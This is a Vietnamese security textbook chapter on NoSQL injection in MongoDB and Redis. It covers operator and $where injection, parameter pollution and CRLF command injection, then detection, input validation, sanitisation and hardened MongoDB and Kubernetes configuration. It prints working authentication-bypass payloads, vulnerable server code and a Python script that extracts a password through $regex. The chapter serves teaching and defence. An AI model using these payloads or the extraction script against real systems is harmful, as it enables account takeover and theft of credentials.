Skip to main content

Chương 13: NoSQL Injection

Khái niệm

NoSQL Injection là biến thể của injection attack nhắm vào các database NoSQL (MongoDB, CouchDB, Redis, etc.) thay vì SQL databases. Kỹ thuật tấn công khác nhau nhưng hậu quả tương tự: bypass authentication, đọc dữ liệu trái phép, hoặc xóa data.

Mức độ nguy hiểm: Cao — Đặc biệt với MongoDB vì widespread usage trong microservices.


NoSQL Khác SQL Như Thế Nào?

Đặc điểmSQLNoSQL (MongoDB)
Query languageSQL textJSON operators
StructureTables/RowsCollections/Documents
SchemaFixedFlexible
Injection vectorSQL keywordsJSON operators ($where, $regex)

MongoDB NoSQL Injection

1. Operator Injection

MongoDB dùng JSON operators trong queries:

// Normal query
db.users.find({username: "alice", password: "pass123"})

// App nhận từ request body JSON:
// {"username": "alice", "password": "pass123"}

Tấn công bằng MongoDB operators:

// Thay password bằng operator
{
"username": "admin",
"password": {"$ne": null}
}

Query trở thành:

db.users.find({username: "admin", password: {$ne: null}})
// $ne: not equal → password != null → đúng với mọi user có password
// → Login thành công mà không cần biết password!

Các operators phổ biến:

// $ne (not equal) - bypass password
{"password": {"$ne": "wrong"}}
{"password": {"$ne": null}}

// $gt (greater than) - bypass numeric check
{"age": {"$gt": 0}}

// $regex - bypass bằng regex
{"username": {"$regex": "admin"}}
{"username": {"$regex": ".*"}}

// $where - JavaScript execution (rất nguy hiểm!)
{"$where": "this.username === 'admin'"}
{"$where": "sleep(5000) || true"} // DoS

// $exists
{"admin": {"$exists": true}}

// In array
{"role": {"$in": ["admin", "superuser"]}}

2. $where Injection — JavaScript Execution

$where cho phép chạy JavaScript expressions trong MongoDB query:

// Vulnerable code
db.users.find({$where: `this.username === '${username}'`})

// Normal: username = "alice"
// Query: {$where: "this.username === 'alice'"}

// Injection: username = "' || '1'=='1"
// Query: {$where: "this.username === '' || '1'=='1'"}
// → Return tất cả documents!

// Injection: username = "'; sleep(5000); //"
// → Time-based blind injection (DoS nếu nhiều requests)

Extract data qua $where:

// username = "' || (this.password[0] === 'p') || '0'=='1"
// → Nếu true: return user → đoán từng ký tự password

// Automation:
for char in 'abcdefghijklmnopqrstuvwxyz':
payload = f"' || (this.password[0] === '{char}') || '0'=='1"
response = login(admin, payload)
if response.ok:
print(f"First char of password: {char}")

3. HTTP Parameter Pollution

Khi app nhận query params và chuyển thành MongoDB query:

GET /api/login?username=admin&password=pass

→ db.users.find({username: "admin", password: "pass"})

Bypass bằng PHP array notation:
GET /api/login?username=admin&password[$ne]=invalid

→ db.users.find({username: "admin", password: {$ne: "invalid"}})
→ Login without password!

Express.js (Node.js) vulnerable:

// Vulnerable
app.post('/login', (req, res) => {
const { username, password } = req.body;
// req.body có thể là: {password: {$ne: null}}
User.findOne({username, password}, ...);
});

4. Aggregation Pipeline Injection

// Vulnerable
db.collection.aggregate([
{$match: {userId: userId}},
{$lookup: {from: "orders", localField: "_id", foreignField: "userId", as: "orders"}},
])

// userId = {$gt: ""} → match tất cả documents

Redis Injection

Redis commands qua web interface:

# Nếu app build Redis commands từ user input:
GET /data?key=user:1337

Redis: GET user:1337

# Injection: key = user:1337\r\nDEL user:1\r\n
# Gửi multiple Redis commands qua CRLF injection

Kịch bản tấn công: Authentication Bypass

Target: Node.js app + MongoDB login

POST /api/login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": {"$ne": null}}

Server code:
async function login(req, res) {
const user = await User.findOne({
username: req.body.username,
password: req.body.password // ← Không validate type!
});

if (user) return res.json({token: generateToken(user)});
res.status(401).json({error: "Invalid credentials"});
}

Query thực thi: db.users.findOne({username: "admin", password: {$ne: null}})
→ Match với admin user (password not null)
→ Return admin user → login thành công!

Blind NoSQL Injection — Data Extraction

# Extract password từng ký tự bằng $regex

import requests
import string

target = "https://example.com/api/login"
headers = {"Content-Type": "application/json"}

known_password = ""
charset = string.ascii_lowercase + string.digits + "!@#$%^&*"

for position in range(20): # Max password length
found = False
for char in charset:
payload = {
"username": "admin",
"password": {
"$regex": f"^{re.escape(known_password + char)}"
}
}

response = requests.post(target, json=payload, headers=headers)

if response.status_code == 200:
known_password += char
found = True
print(f"Password so far: {known_password}")
break

if not found:
break

print(f"Full password: {known_password}")

Cách phát hiện

□ Thử MongoDB operators trong JSON body: {"$ne": null}, {"$gt": ""}
□ Thử PHP-style array notation trong query params: ?pass[$ne]=x
□ Error messages mention MongoDB/NoSQL
□ Behavior thay đổi với operator injection vs. normal input
□ Time-based: {"$where": "sleep(5000) || true"}
□ Check nếu app dùng $where operator
□ Thử inject operators vào mọi field trong JSON body

Phòng chống

1. Input Type Validation

// Node.js với Mongoose
const loginSchema = {
username: { type: String, required: true },
password: { type: String, required: true }
};

app.post('/login', (req, res) => {
const { error, value } = Joi.object(loginSchema).validate(req.body);

if (error) return res.status(400).json({error: "Invalid input format"});

// Đảm bảo username và password là strings
const { username, password } = value;

// Bây giờ safe vì Joi đã validate types
User.findOne({username, password: hashPassword(password)})
});

2. Sanitize Input

// Express với mongo-sanitize
const mongoSanitize = require('express-mongo-sanitize');

// Middleware: remove keys bắt đầu bằng $
app.use(mongoSanitize());

// Hoặc manual:
function sanitizeQuery(input) {
if (typeof input === 'object' && input !== null) {
for (let key of Object.keys(input)) {
if (key.startsWith('$')) {
delete input[key];
} else {
sanitizeQuery(input[key]);
}
}
}
return input;
}

3. Disable Dangerous Features

// Mongoose: Disable $where operator
mongoose.connect(uri, {
// Mongoose không trực tiếp expose $where qua model methods
// Nhưng tránh dùng raw queries với $where
});

// Nếu cần raw query, validate trước
const allowedOperators = ['$eq', '$gt', '$lt', '$gte', '$lte', '$in'];

function validateQuery(query) {
function checkOperators(obj) {
if (typeof obj !== 'object') return;
for (const key of Object.keys(obj)) {
if (key.startsWith('$') && !allowedOperators.includes(key)) {
throw new Error(`Operator ${key} not allowed`);
}
checkOperators(obj[key]);
}
}
checkOperators(query);
}

4. Parameterized Queries (NoSQL equivalent)

# Python với PyMongo
from pymongo import MongoClient
from bson import ObjectId

client = MongoClient('mongodb://localhost:27017')
db = client.mydb

# ĐÚNG: Dùng parameters riêng biệt, không string concat
def find_user(username, password_hash):
return db.users.find_one({
'username': username, # String literal, không thể inject operator
'password': password_hash
})

# SAI: Build query từ untrusted dict
def find_user_bad(query_dict):
return db.users.find_one(query_dict) # ← Hacker control toàn bộ query!

Góc nhìn DevOps

MongoDB Security Config:

# mongod.conf
security:
authorization: enabled # Enable authentication
javascriptEnabled: false # QUAN TRỌNG: Disable JavaScript execution ($where)

net:
bindIp: 127.0.0.1 # Không bind 0.0.0.0

# Không expose MongoDB port ra internet!

Kubernetes MongoDB:

# MongoDB chỉ accessible trong cluster
apiVersion: v1
kind: Service
metadata:
name: mongodb
spec:
type: ClusterIP # Internal only
selector:
app: mongodb
ports:
- port: 27017

Auth với minimal privileges:

// Tạo user với quyền tối thiểu
use mydb
db.createUser({
user: "app_user",
pwd: "strong_password",
roles: [
{ role: "readWrite", db: "mydb" }
// Không phải dbAdmin hay clusterAdmin
]
})

Tóm tắt

  • NoSQL Injection dùng database-specific operators thay vì SQL keywords.
  • MongoDB dễ bị operator injection ($ne, $gt, $regex, $where) nếu không validate input types.
  • $where operator cho phép JavaScript execution — đặc biệt nguy hiểm.
  • Phòng chống: validate types (string chứ không phải object), sanitize operators, disable javascriptEnabled.
  • express-mongo-sanitize là middleware hữu ích cho Node.js apps.
  • Không expose MongoDB port ra ngoài — luôn dùng ClusterIP trong K8s.

Câu hỏi ôn tập

  1. Tại sao {"password": {"$ne": null}} bypass MongoDB authentication?
  2. Sự khác biệt giữa SQL injection và NoSQL operator injection là gì?
  3. $where operator trong MongoDB nguy hiểm như thế nào?
  4. Làm thế nào để phòng chống NoSQL injection trong Express.js application?
  5. Tại sao javascriptEnabled: false trong mongod.conf quan trọng?